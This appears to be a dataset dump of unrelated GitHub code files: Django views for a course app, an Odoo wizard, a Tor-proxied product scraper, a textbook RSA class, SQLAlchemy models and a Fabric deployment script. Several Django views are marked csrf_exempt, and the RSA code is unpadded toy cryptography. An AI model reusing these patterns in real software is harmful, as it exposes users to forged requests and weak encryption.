units=Unit.objects.filter(courseId=course.id)\n        \n \n    courseData={}\n    courseData[\"title\"]=course.name\n    courseData[\"units\"]=[]\n    \n\n    for unit in units:\n        unitData={}\n        unitData[\"title\"]=unit.name\n        unitData[\"chapters\"]=[]\n        chapters=Chapter.objects.filter(unitId=unit.id)\n        for chapter in chapters:\n            \n            chapterData={}\n            chapterData[\"Id\"]=chapter.id\n            chapterData[\"title\"]=chapter.name\n            chapterData[\"youtubeQuery\"]=chapter.youtubeSearchQuery\n            chapterData[\"videoId\"]=chapter.videoId\n            unitData[\"chapters\"].append(chapterData)\n\n                \n\n        courseData[\"units\"].append(unitData)\n            \n\n\n    return render(req,\"course.html\",{\"course\":courseData})\n\n\n\n@csrf_exempt\ndef addCourseToDB(req):\n    \n    currentUser=req.user\n    if (currentUser.username):\n        data=json.loads(req.body.decode(\"utf-8\"))\n        courseName=data[\"courseName\"]\n        units=data[\"unitData\"]\n        if (courseName==\"\"):\n            return HttpResponse(\"{'mes':'Not found'}\",status=400)\n        if (len(units)!=3):\n\n            return HttpResponse('{\"mes\":\"Not found\"}',status=400)\n        \n        try:\n            courseImg=getImage(courseName)\n        except:\n            courseImg=\"https://imgs.search.brave.com/td8sI4KnqQOLjxGhhpHWvRi7r-MIvDsHtTEAMuTkGOw/rs:fit:860:0:0/g:ce/aHR0cHM6Ly9pbWcu/ZnJlZXBpay5jb20v/cHJlbWl1bS1waG90/by9sZWFybmluZy1v/bmxpbmUtY29uY2Vw/dC15b3VuZy13b21h/bi11c2luZy1jb21w/dXRlci1sYXB0b3At/bGVhcm4tZS1sZWFy/bmluZy1jb3Vyc2Ut/ZnJvbS1pbnRlcm5l/dC1ob21lXzM0MDQ4/LTEyMDYuanBn\"\n        finally:\n            course=Course(id=str(uuid4()),name=courseName.capitalize(),image=courseImg,userId=currentUser.id)\n            course.save()\n        \n        for unit in units:\n            newUnit=Unit(id=str(uuid4()),name=unit[\"title\"],courseId=course.id,course=course)\n            newUnit.save()\n\n            for chapter in unit[\"chapters\"]:\n                newChapter=Chapter(id=uuid4(),unitId=newUnit.id,name=chapter[\"title\"],youtubeSearchQuery=chapter[\"youtube_query\"],unit=newUnit)\n                newChapter.save()\n                \n            with concurrent.futures.ThreadPoolExecutor() as exc:\n                print(Chapter.objects.filter(unit=newUnit))\n                res=[exc.submit(searchYoutube,chapter) for chapter in Chapter.objects.filter(unitId=newUnit.id)]\n                for f in concurrent.futures.as_completed(res):\n                    print(f.result())\n        return JsonResponse({\"courseID\":course.id})\n                \n\n    return HttpResponse(\"{'mes':'Not found'}\",status=400)\n\n\n    \n\n@csrf_exempt\ndef getVideoSummary(req):\n    chapterId=req.body.decode(\"utf-8\")\n    chapter=Chapter.objects.get(id=chapterId)\n    \n\n    \n    \n    if (chapter.summary):\n        return JsonResponse({\"summary\":chapter.summary})\n    \n    chapter.summary=getCaption(chapter.videoId)\n    chapter.save()\n\n    return JsonResponse({\"summary\":chapter.summary})\n\n\n\n\n@csrf_exempt\ndef getVideoQuestions(req):\n    chapterId=req.body.decode(\"utf-8\")\n    chapter=Chapter.objects.get(id=chapterId)\n    questions=Question.objects.filter(chapterId=chapter.id)\n\n    \n    if (questions):\n        jsonQuestion=[]\n        for question in questions:\n            data={\n                \"question\":question.question,\n                \"options\":question.options,\n                \"answer\":question.answer\n            }\n            jsonQuestion.append(data)\n\n        return JsonResponse({\"questions\":jsonQuestion})\n\n    generatedQuestions=generateQuestion(chapter.summary) \n\n    if (generatedQuestions==None):\n        return JsonResponse({\"message\":\"Failed\"},status=400)\n    \n     \n    for question in generatedQuestions:\n        question=Question(id=str(uuid4()),chapterId=chapter.id,question=question[\"question\"],answer=question[\"answer\"],options=question[\"options\"],chapter=chapter) \n        question.save()\n\n    questions=Question.objects.filter(chapter=chapter)\n    \n    jsonQuestion=[]\n    for question in questions:\n        data={\n            \"question\":question.question,\n            \"options\":question.options,\n            \"answer\":question.answer\n        }\n        jsonQuestion.append(data)\n    return JsonResponse({\"questions\":jsonQuestion})\n\n\n    ","repo_name":"rrronit/django-project","sub_path":"Website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14468634537","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, models, fields, _\nimport datetime\n\nclass WizardInvoice(models.TransientModel):\n    _name = 'wizard.invoice'\n\n    start_date = fields.Date('From Date', default=fields.Datetime.now(), required=True)\n    end_date = fields.Date('To Date', default=fields.Datetime.now(), required=True)\n\n    @api.multi\n    def open_tree_view(self, data):\n        self.ensure_one()\n        treeview_id = self.env.ref('account.invoice_tree').id\n        return {\n              \"name\": 'Filter Data',\n              \"type\": \"ir.actions.act_window\",\n              \"res_model\": \"account.invoice\",\n              \"views\": [[False,\"tree\"]],\n              \"target\": \"current\",\n              \"domain\" : ([('date_invoice','>=',self.start_date),('date_invoice','<=',self.end_date)]),\n                }\n\n","repo_name":"Raj3101/Python-odoo-codes","sub_path":"custom_module/invoice_report/wizard/wizard_report.py","file_name":"wizard_report.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28042821149","text":"import time\nimport json\nimport docker\nimport requests\nimport concurrent.futures\nfrom spider.spider import Spider\nfrom datahub.mysql import Mysql\nfrom datahub.redis import Redis\nfrom pythontools.argparse import *\nfrom pythontools.verbose import *\nimport settings\n\n\ndef reload_tor():\n    try:\n        client = docker.from_env()\n        for container in client.containers.list():\n            if container.attrs['Name'] == '/tor_socks_proxy':\n                container.restart()\n    except:\n        pass\n\ndef print_ip():\n    sources = [\n        \"http://whatismyip.akamai.com\",\n        \"http://ifconfig.me\",\n        \"http://ipecho.net/plain\",\n        \"http://ipinfo.io/ip\",\n        \"http://ifconfig.co\",\n    ]\n    for source in sources:\n        try:\n            ip = requests.get(source, headers=settings.requests_headers,\n                proxies=settings.requests_proxy).text\n            verbose(ip, level=2)\n            break\n        except:\n            verbose(\"Não foi possivel buscar o IP\", source, label='WARN')\n\n\ndef worker2(product, store):\n    verbose(product, store, level=1, label='INFO')\n\n    ad = spider.get_ad_page(product, store)\n    verbose(ad, level=4, label='INFO')\n\n    product['id'] = ad['id']\n    product['prices'] = ad['prices']\n\n    pool.insert_ad(ad['id'], store, product)\n\n\ndef worker(store):\n    verbose(\"Requesting Ads\", level=1, label='INFO')\n    products = spider.get_products(store)\n    verbose(\"get_products\", products, level=4, label='INFO')\n\n    all_ads = []\n    pular=1\n    for prod in products:\n        if prod['url'].find('lead?oid') != -1:\n            all_ads.append(prod)\n            continue\n\n        if pular > 0:\n            pular = pular -1\n            continue\n        # serial mode\n        worker2(prod, store)\n        exit()\n\n\n\n\n\n    # with concurrent.futures.ThreadPoolExecutor(max_workers=settings.max_workers) as executor:\n    #     future_mbl = {executor.submit(worker2, job, store): job for job in ads}\n    #\n    #     for future in concurrent.futures.as_completed(future_mbl):\n    #         mbl = future_mbl[future]\n    #         try:\n    #             data = future.result()\n    #         except Exception as exc:\n    #             verbose('%r generated an exception: %s' % (url, exc), label='ERROR')\n\n\ndef main():\n    # stop = False\n    # try:\n    #     if settings.filter_ads:\n    #         stop = True\n    #         verbose('FILTERING Ad', settings.filter_ads, level=1)\n    #\n    #         # serial mode\n    #         # worker2(settings.filter_ads, 'UNKNOWN')\n    #\n    #         verbose(stop)\n    # except:\n    #     pass\n    #\n    # try:\n    #     if settings.filter_store:\n    #         stop = True\n    #         verbose('FILTERING STORE', settings.filter_store, level=1)\n    #         worker(settings.filter_store)\n    #         stores = [settings.filter_store]\n    # except:\n    #     pass\n    #\n    # if stop == True:\n    #     verbose('STOP', stop)\n    #     return\n    #\n    # stores = database.get_stores()\n    # verbose(stores, level=2)\n\n    stores = ['celular/smartphone']\n\n    # serial mode\n    worker(stores[0])\n\n    exit()\n    with concurrent.futures.ThreadPoolExecutor(\n        max_workers=settings.max_workers) as executor:\n        future_spider = {executor.submit(worker, job): job for job in stores}\n\n\n\nspider = Spider()\ndatabase = Mysql()\npool = Redis()\n\nwhile True:\n    try:\n        print_ip()\n        main()\n    except Exception as exc:\n        verbose('%r generated an exception: %s' % (url, exc), label='ERROR')\n    # break\n","repo_name":"eduardohayashi/horus_zoom","sub_path":"horus_zoom.py","file_name":"horus_zoom.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3509232981","text":"class RSA:\n\n    @staticmethod\n    def __is_prime(num):\n        # Method to check if a number is prime\n        if num == 2:\n            return True\n        for i in range(2, (num // 2) + 1):\n            if num % i == 0:\n                return False\n        return True\n\n    def __validate_input(self, p, q):\n        # Method to validate p and q\n        # Check if p and q are same\n        if p == q:\n            raise ValueError(\"P and q cannot be same!\")\n        # Check p and q are prime\n        if not self.__is_prime(p):\n            raise ValueError(\"Value of p i.e {} must be prime!\".format(p))\n        if not self.__is_prime(q):\n            raise ValueError(\"Value of q i.e {} must be prime!\".format(q))\n\n    @staticmethod\n    def __gcd(e, r):\n        # Method to Check e and n are co prime\n        while r != 0:\n            e, r = r, e % r\n        return e\n\n    def __get_e(self, r):\n        # Method to get e\n        for e in range(2, r):\n            if self.__gcd(e, r) == 1:\n                return e\n\n    @staticmethod\n    def __get_d(e, r):\n        # Method to get d\n        for d in range(r):\n            if (e * d) % r == 1:\n                return d\n\n    def generate_public_and_private_keys(self, p, q):\n        # Method to generate  public and private keys\n        self.__validate_input(p, q)\n        print(\"Calculating RSA values...\")\n\n        n = p * q\n        r = (p - 1) * (q - 1)\n\n        e = self.__get_e(r)\n        d = self.__get_d(e, r)\n\n        public_key = (e, n)\n        private_key = (d, n)\n\n        print(\"Public RSA key is {}\".format(public_key))\n        print(\"Private RSA key is {}\".format(private_key))\n\n        return public_key, private_key\n\n    @staticmethod\n    def encrypt(m, public_key):\n        # Method to encrypt plain text m using public key\n        print(\"Encrypting m...\")\n        e, n = public_key\n        return int((m ** e) % n)\n\n    @staticmethod\n    def decrypt(c, private_key):\n        # Method to decrypt cipher text c using private key\n        print(\"Decrypting c...\")\n        d, n = private_key\n        return int((c ** d) % n)\n","repo_name":"vishbhat/rsa-algorithm","sub_path":"RSA.py","file_name":"RSA.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39997501347","text":"# -*- coding: utf8 -*-\nfrom django.http import HttpResponse\nfrom django.test import RequestFactory\nfrom django.test.testcases import TestCase\nfrom django.test.utils import override_settings\n\nfrom frigg.authentication.decorators import worker_token_required\n\n\nclass DecoratorsTestCase(TestCase):\n\n    def setUp(self):\n        self.factory = RequestFactory()\n\n    @override_settings(FRIGG_WORKER_TOKENS=['token'])\n    def test_worker_token_required(self):\n\n        @worker_token_required\n        def view(request):\n            return HttpResponse(42)\n\n        request = self.factory.get('/')\n        response = view(request)\n        self.assertEqual(response.status_code, 403)\n        self.assertEqual(response.content, b'')\n\n        request = self.factory.get('/', HTTP_FRIGG_WORKER_TOKEN='token')\n        response = view(request)\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(response.content, b'42')\n","repo_name":"frigg/frigg-hq","sub_path":"tests/authentication/test_decorators.py","file_name":"test_decorators.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"}
+{"seq_id":"7300018570","text":"import json\nfrom datetime import datetime\nfrom sqlite3 import Connection as SQLite3Connection\nfrom sqlalchemy import engine_from_config, MetaData, Column, TypeDecorator, Index\nfrom sqlalchemy.types import CHAR, DateTime, Text, Integer\nfrom sqlalchemy.event import listens_for\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker, scoped_session\nfrom sqlalchemy.exc import DBAPIError, SQLAlchemyError, InterfaceError, OperationalError\nfrom contextlib import contextmanager\nfrom hashlib import md5\nfrom lib.config import Config\nfrom lib.exceptions import DatabaseError\n\n\nModel = declarative_base(\n    metadata=MetaData(naming_convention={\n        \"ix\": \"ix_%(column_0_label)s\",\n        \"uq\": \"uq_%(table_name)s_%(column_0_name)s\",\n        \"ck\": \"ck_%(table_name)s_%(constraint_name)s\",\n        \"fk\": \"fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s\",\n        \"pk\": \"pk_%(table_name)s\"\n    })\n)\n\n\nclass Handler:\n    # Check existence of configuration when module is imported.\n    _sqlalchemy_url = Config().get(\"db\", \"sqlalchemy.url\")\n\n    def __init__(self) -> None:\n        @listens_for(Engine, \"connect\")\n        def _set_sqlite_pragma(dbapi_connection, connection_record):  # type: ignore\n            if isinstance(dbapi_connection, SQLite3Connection):\n                cursor = dbapi_connection.cursor()\n                cursor.execute(\"PRAGMA foreign_keys=ON;\")\n                cursor.execute(\"PRAGMA journal_mode=WAL;\")\n                cursor.execute(\"PRAGMA synchronous=NORMAL;\")\n                cursor.close()\n\n        self.engine = engine_from_config(configuration=Config()['db'])\n        self.session_factory = sessionmaker(bind=self.engine)\n        self.scoped_session = scoped_session(self.session_factory)\n\n    def create_all(self):\n        Model.metadata.create_all(self.engine, checkfirst=True)\n\n    @contextmanager\n    def session_scope(self):\n        session = self.scoped_session()\n\n        try:\n            yield session\n            session.commit()\n        except (DBAPIError, SQLAlchemyError, InterfaceError, OperationalError):\n            session.rollback()\n            raise DatabaseError()\n        finally:\n            session.close()\n\n\nclass JsonType(TypeDecorator):\n    \"\"\"Enables JSON storage for sqlite with no extensions.\"\"\"\n    impl = Text\n\n    def process_bind_param(self, value, dialect):\n        return json.dumps(value)\n\n    def process_result_value(self, value, dialect):\n        try:\n            return json.loads(value)\n        except (ValueError, TypeError):\n            return None\n\n\nclass BookShelfInfoModel(Model):\n    __tablename__ = 'book_shelf_info'\n\n    url_md5 = Column(CHAR(32), primary_key=True)\n    book_info = Column(JsonType, nullable=False)\n    created = Column(DateTime, nullable=False, default=datetime.utcnow)\n\n    @staticmethod\n    def md5_from_url(url):\n        return md5(url.encode('utf-8')).hexdigest()\n\n\nclass BookLibraryAvailabilityModel(Model):\n    __tablename__ = 'book_library_availability'\n\n    book_md5 = Column(CHAR(32), primary_key=True)\n    library_id = Column(CHAR(4), primary_key=True)\n    search_results = Column(JsonType)\n    created = Column(DateTime, nullable=False, default=datetime.utcnow)\n\n    @staticmethod\n    def md5_from_book(book):\n        book_md5 = md5()\n        for field in ('title', 'author', 'isbn'):\n            book_md5.update((book.get(field) or '').encode('utf-8'))\n        return book_md5.hexdigest()\n\n\nclass NewBooksInfoModel(Model):\n    __tablename__ = 'new_books_info'\n\n    _pk = Column(Integer(), primary_key=True)\n    url_md5 = Column(CHAR(32), nullable=False)\n    library_id = Column(CHAR(4), nullable=False)\n    isbn = Column(CHAR(13), nullable=False)\n    created = Column(DateTime, nullable=False, default=datetime.utcnow)\n\n    __table_args__ = (\n        Index('ix_new_books_info_url_md5', 'url_md5', 'created'),\n    )\n\n    @staticmethod\n    def md5_from_url(url):\n        return md5(url.encode('utf-8')).hexdigest()\n","repo_name":"somnam/ml","sub_path":"lib/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18444613318","text":"import os\nimport re\nimport zipfile\nimport subprocess\n\nOUTPUT_FILE = \"bytecode.txt\"\n\ndef getsize(file_size):\n    count = 0\n    units  ={0:'B', 1:'KB', 2:'MB', 3:'GB', 4:'TB'}\n    while file_size > 1024:\n        file_size /= 1024\n        count += 1\n    \n    return f\"{file_size: .1f} {units[count]}\"\n\ndef unzip_jar(path):\n    # 추출된 JAR 파일을 검사하여 중첩된 JAR 파일이 있는지 확인\n    for root, _, files in os.walk(path):\n        for file in files:\n            if file.endswith('.jar'):\n                jar_file_path = os.path.join(root, file)\n                extracted_dir = jar_file_path.replace(\".jar\", \"\")\n                with zipfile.ZipFile(jar_file_path, 'r') as zip_ref:\n                    zip_ref.extractall(extracted_dir)\n                unzip_jar(extracted_dir)\n\ndef decompile_project(path):\n    cnt = 0\n    for root, _, files in os.walk(path):\n        for class_file in files:\n            if class_file.endswith('.class'):\n                cnt += 1\n                class_file_path = os.path.join(root, class_file)\n                result = subprocess.run([\"javap\", \"-c\", \"-p\", class_file_path], stdout=subprocess.PIPE, text=True, check=True)\n                decompiled_code = result.stdout\n\n                pattern = re.compile(r'Compiled from .+\\n|\\s*//.*\\n|\\s*/\\*.*?\\*/', re.MULTILINE)\n                code_cleaned = re.sub(pattern, '\\n', decompiled_code)\n\n                with open(class_file_path.replace(\".class\", \".txt\"), 'w') as txt:\n                    txt.write(decompiled_code)\n                with open(OUTPUT_FILE, 'a') as integrate_f:\n                    integrate_f.write(code_cleaned)\n    return cnt, os.path.getsize(OUTPUT_FILE)\n\n\nunzip_jar(\"./\")\ntotal_size = 0\ntotal_cnt = 0\nproject_cnt = 0\nfor pathes in os.listdir(\"./\"):\n    if not os.path.isfile(pathes):\n        project_cnt += 1\n        print(str(project_cnt).rjust(4, ' '), \"|\", str(pathes).ljust(42,' '), \"|\", end=\" \")\n        file_cnt, current_size = decompile_project(pathes)\n        file_size = current_size - total_size\n        total_size = current_size\n        total_cnt += file_cnt\n        print(str(file_cnt).rjust(6, ' '), \"|\", str(getsize(file_size)).rjust(9,' '))\n        with open(\"log.txt\", 'a') as f:\n            f.write(str(project_cnt).rjust(4, ' ')+\" | \"+str(pathes).ljust(42,' ')+\" | \"+str(file_cnt).rjust(6, ' ')+\" | \"+str(getsize(file_size)).rjust(9,' '))\nprint(f\"total({project_cnt}) |\", str(total_cnt).rjust(6, ' '), \"|\", str(getsize(total_size)).rjust(9,' '))\nwith open(\"log.txt\", 'a') as f:\n    f.write(f\"total({project_cnt}) | \"+str(total_cnt).rjust(6, ' ')+\" | \"+str(getsize(total_size)).rjust(9,' '))\n\n","repo_name":"baejaeho18/mvn-crawler","sub_path":"MVNCrawler/maven/jars/decompiler.py","file_name":"decompiler.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"36657486966","text":"import os\nimport json\n\n\ndef combine_and_convert(json_folder):\n    combined_data = {\n        \"images\": [],\n        \"objects\": []\n    }\n\n    json_files = [file for file in os.listdir(\n        json_folder) if file.endswith(\".json\")]\n\n    for json_file in json_files:\n        with open(os.path.join(json_folder, json_file), 'r') as f:\n            data = json.load(f)\n\n        combined_data[\"images\"].append(data[\"image\"])\n\n        for obj in data[\"objects\"]:\n            class_name = obj[\"class\"]\n\n            if class_name == \"vehicle\":\n                class_name = \"car\"\n            elif class_name == \"license plate\":\n                class_name = \"number\"\n\n            combined_data[\"objects\"].append(\n                {\"class\": class_name, \"presence\": obj[\"presence\"]})\n\n    combined_output = {\n        \"combined_images\": combined_data[\"images\"],\n        \"combined_objects\": combined_data[\"objects\"]\n    }\n\n    with open(\"combined_data.json\", 'w') as f:\n        json.dump(combined_output, f, indent=4)\n\n    print(\"Combined JSON saved as combined_data.json\")\n\n\n# Provide the folder path where the JSON files are located\njson_folder_path = \"path/to/json/folder\"\n\ncombine_and_convert(json_folder_path)\n","repo_name":"RafinAlZhehad/Json","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11746919436","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport cgi\nimport cgitb\ncgitb.enable()\nimport sys\nfrom codecs import getwriter\nsys.stdout = getwriter(\"utf-8\")(sys.stdout.buffer)\nimport progpad\nfrom songs_main import Songs\n\ndef main():\n    form = cgi.FieldStorage()\n    fout = \"ok\"\n    args = {\"wat\": \"wijzigopname\"}\n    test = form.getfirst(\"song\", '')\n    if test:\n        args[\"songid\"] = test\n    else:\n        fout = \"geensong\"\n    test = form.getfirst(\"opname\", '')\n    if test:\n        args[\"opnid\"] = test\n    elif fout == \"ok\":\n        fout = \"geenopname\"\n    updateform = True if \"update\" in form else False\n    args[\"edit\"] = updateform\n    if updateform:\n        test = form.getfirst(\"Plaats\", '')\n        if test:\n            args[\"plaatscode\"] = test\n        elif fout == \"ok\":\n            fout = \"geenplaats\"\n        test = form.getfirst(\"Datum\", '')\n        if test:\n            args[\"datumcode\"] = test\n        elif fout == \"ok\":\n            fout = \"geendatum\"\n        args[\"bezetcode\"] = form.getfirst(\"Bezet\", '')\n        args[\"instcodes\"] = form.getfirst(\"Instcodes\", '')\n        args[\"urlregel\"] = form.getfirst(\"Url\", '')\n        args[\"commentaar\"] = form.getfirst(\"Opm\", '')\n    args[\"fout\"] = fout\n    print(\"Content-Type: text/html\\n\")     # HTML is following\n    h = Songs(args)\n    for x in h.regels:\n        print(x)\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"albertvisser/magiokis","sub_path":"cgi-bin/wijzigopname.py","file_name":"wijzigopname.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1456703795","text":"import sys\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\n\n\ndef scrap_web(link, project_id):\n    pure_html = urlopen(link)\n    soup_html = BeautifulSoup(pure_html, 'html.parser')\n    results_dict = dict()\n\n    meta = soup_html.find(id=\"info-ficha\").find_all('div', {'class':'dato'})\n    metatags = [i.string.lstrip(\"\\r\\n\").rstrip(\"\\r\\n\").strip().replace(\":\", \"\") for i in meta]\n    meta = soup_html.find(id=\"info-ficha\").find_all('strong')\n    metadata = [i.string.lstrip(\"\\r\\n\").rstrip(\"\\r\\n\").strip() for i in meta]\n\n    meta = dict()\n    for k in range(len(metatags)):\n        meta.update({metatags[k]:metadata[k]})\n    \n    # Ahora votaciones individuales\n    data = dict()\n    divs = soup_html.find_all('section', {'class':'section group'})\n    del divs[3]\n    for div in divs:\n        name = div.find('h3', {'class':'colTitle'}).string.strip()\n        diputados = [i.string.strip() for i in div.find_all('a')]\n\n        data.update({name: diputados})\n\n\n\n    return True, data, meta","repo_name":"CarloGauss33/scrap-diputados","sub_path":"simple_scrap.py","file_name":"simple_scrap.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"15278978202","text":"import argparse\nimport os\nimport sys\n\nfrom PIL import Image\n\ndef get_args():\n    parser = argparse.ArgumentParser(description=\"Image resize script. Change height, width or scale\")\n    parser.add_argument(\"-ht\", \"--height\", help=\"Height of new image in pixels\", type=int)\n    parser.add_argument(\"-wd\", \"--width\", help=\"Width of new image in pixels\", type=int)\n    parser.add_argument(\"-s\", \"--scale\", help=\"Scale ratio of processed image. Cannot be used with -ht or -wd parameter\", type=float)\n    parser.add_argument(\"-o\", \"--output\",\n                        help=\"Path to new image file. If not specified new file will be placed in the same folder as the original file\")\n    parser.add_argument(\"filepath\", help=\"Path to original image file\")\n    args = parser.parse_args()\n\n    if args.scale and (args.height or args.width):\n        sys.exit('Cannot use --scale(-sc) option with --height(-ht) or/and --width(-wd)')\n\n    if not args.scale and not (args.height or args.width):\n        sys.exit('Reqired optional aguments: --scale(-sc) or --height(-ht) or/and --width(-wd)')\n\n    return args\n\n\ndef is_proportions_equal(img_width, img_height, new_width, new_height):\n    proportion = img_width / new_width - img_height / new_height\n    return proportion == 0\n\ndef open_image(path_to_file):\n    try:\n        image = Image.open(path_to_file)\n    except IOError:\n        sys.exit('No such file or file provided is not an image file. Please specify correct path or filename.')\n    return image\n\n\ndef save_image(input_image_path, output_image, output_image_path):\n    img_width, img_height = output_image.size\n    if output_image_path:\n        try:\n            full_path = os.path.join(os.getcwd(), output_image_path)\n        except IOError:\n            sys.exit('Wrong path for output file.')\n        except KeyError:\n            sys.exit('Wrong extension of output file. Please use image file format extension.')\n    else:\n        filename, extension = os.path.os.path.splitext(input_image_path)\n        full_path = os.path.join(os.getcwd(), '{filename}__{width}x{height}{extension}'.format(\n            filename=filename,\n            width=img_width,\n            height=img_height,\n            extension=extension\n        ))\n    output_image.save(full_path)\n    print('File saved as {}'.format(full_path))\n\n\ndef validate_new_image_size_or_exit(new_width, new_height):\n    error_text = 'Result image is {width}x{height}, which is too {{size}}. Please use {{number}} numbers in parameters'.format(\n        width=new_width, height=new_height)\n    if new_width < 30 or new_height < 30:\n        sys.exit(error_text.format(size=\"small\", number='bigger'))\n    elif new_width > 5000 or new_height > 5000:\n        sys.exit(error_text.format(size=\"big\", number='smaller'))\n\n\ndef resize_image(input_image, scale, height, width):\n    img_width, img_height = input_image.size\n\n    if scale:\n        new_height = int(scale * img_height)\n        new_width = int(scale * img_width)\n    elif height and not width:\n        new_height = height\n        new_width = img_width * new_height / img_height\n    elif width and not height:\n        new_width = width\n        new_height = img_height * new_width / img_width\n    elif height and width:\n        new_height = height\n        new_width = width\n        if not is_proportions_equal(img_width, img_height, new_width, new_height):\n                print(\"Proportion of the output image are not equal to proportion original image.\")\n\n    validate_new_image_size_or_exit(new_width, new_height)\n    new_image = input_image.resize((new_width, new_height), Image.ANTIALIAS)\n\n    return new_image\n\nif __name__ == '__main__':\n    arguments = get_args()\n    input_image = open_image(arguments.filepath)\n    output_image = resize_image(input_image, arguments.scale, arguments.height, arguments.width)\n    save_image(arguments.filepath, output_image, arguments.output)\n","repo_name":"ruslan-k/12_image_resize","sub_path":"image_resize.py","file_name":"image_resize.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"34664745820","text":"import os\nimport sys\nfrom fabric.api import env, local\nfrom fabric.context_managers import warn_only, lcd, shell_env\nimport time\nfrom fabric.utils import abort\nfrom time import sleep\nfrom deleteme.scratchpad import do_something\n\n\ndef _ensure_virtualenv():\n    if \"VIRTUAL_ENV\" not in os.environ:\n        sys.stderr.write(\"$VIRTUAL_ENV not found. Make sure to activate virtualenv first\\n\\n\")\n        sys.exit(-1)\n    env.virtualenv = os.environ[\"VIRTUAL_ENV\"]\n\n\ndef install_prod_deps():\n    _ensure_virtualenv()\n    local('pip install -q -r dependencies/pip/prod.txt')\n\n\ndef install_dev_deps():\n    _ensure_virtualenv()\n    local('pip install -q -r dependencies/pip/dev.txt')\n\n\ndef pep8():\n    _ensure_virtualenv()\n    local('pycodestyle --config=conf_dev/pep8/pep8_config.txt django_app')\n    local('pycodestyle --config=conf_dev/pep8/pep8_config.txt django_proj')\n    local('pycodestyle --config=conf_dev/pep8/pep8_config.txt biz_int')\n\n\ndef pylint():\n    _ensure_virtualenv()\n    local('pylint --rcfile=conf_dev/pylint/pylintrc.txt django_app')\n    local('pylint --rcfile=conf_dev/pylint/pylintrc.txt django_proj')\n    local('pylint --rcfile=conf_dev/pylint/pylintrc.txt biz_int')\n\n\ndef run_tests():\n    _ensure_virtualenv()\n    local('rm -rf py_coverage')\n    local('coverage erase')\n    local('coverage run --branch manage.py test django_app.test')\n    local('coverage html -d py_coverage --include=django_app/*')\n    local('coverage report -m --fail-under=100 --include=django_app/* --omit=django_app/migrations/* --omit=django_app/test_py_integration/*')\n\n\ndef run_py_integration_tests():\n    _ensure_virtualenv()\n    local(\"python manage.py test django_app.test_py_integration\")\n\n\ndef precommit():\n    _ensure_virtualenv()\n    install_prod_deps()\n    install_dev_deps()\n    pep8()\n    pylint()\n    run_tests()\n    run_py_integration_tests()\n\n\ndef sudo_update_static_files():\n    local('sudo rm -rf /opt/mfserver2/static/')\n    local('sudo mkdir -p /opt/mfserver2/static/')\n    local('sudo cp -r /opt/mfserver2/venv/lib/python3.4/site-packages/django/contrib/admin/static/admin /opt/mfserver2/static/')\n    local('sudo cp -r /opt/mfserver2/venv/lib/python3.4/site-packages/django/contrib/gis/static/gis /opt/mfserver2/static/')\n    local('sudo chown -R reg_user:reg_user /opt/mfserver2/static/')\n\n\ndef refresh_local():\n    _ensure_virtualenv()\n    install_prod_deps()\n    local(\"\"\"python manage.py migrate\"\"\")\n\n\ndef sudo_docker_provision():\n    local(\"\"\"rm -rf dist\"\"\")\n    local(\"\"\"mkdir -p dist\"\"\")\n    local(\"\"\"tar --exclude='dist' --exclude='.git' -czf  dist/mfserver2.tar.gz *\"\"\")\n    local(\"\"\"sudo docker build --rm -t local/c7-mfserver2 provisioning/docker/c7-mfserver2\"\"\")\n    container_id = local(\"\"\"sudo docker run --privileged -d -t -v /sys/fs/cgroup:/sys/fs/cgroup:ro -p 80:80 -p 443:443 local/c7-mfserver2\"\"\", capture=True)\n    local(\"\"\"sudo docker cp dist/mfserver2.tar.gz %s:/root\"\"\" % container_id)\n    local(\"\"\"sudo docker exec %s mkdir -p /tmp/mfserver2\"\"\" % container_id)\n    local(\"\"\"sudo docker exec %s tar -xzf /root/mfserver2.tar.gz -C /tmp/mfserver2\"\"\" % container_id)\n    local(\"\"\"sudo docker exec -t %s sh /tmp/mfserver2/provisioning/misc/do_salt.sh\"\"\" % container_id)\n    sleep(3)\n    local(\"\"\"curl -f -k https://127.0.0.1/mfserver2/welcome/\"\"\")\n    # sudo_docker_stop_remove()\n    pass\n\n\ndef sudo_docker_stop_remove():\n    with warn_only():\n        local(\"\"\"sudo docker stop $(sudo docker ps -a -q)\"\"\")\n        local(\"\"\"sudo docker rm $(sudo docker ps -a -q)\"\"\")\n        #if docker provisioning freezes while dling packages do this and try again:\n        #local(\"\"\"sudo docker rmi -f $(sudo docker images -q)\"\"\")\n        pass\n\n\ndef sudo_refresh_local():\n    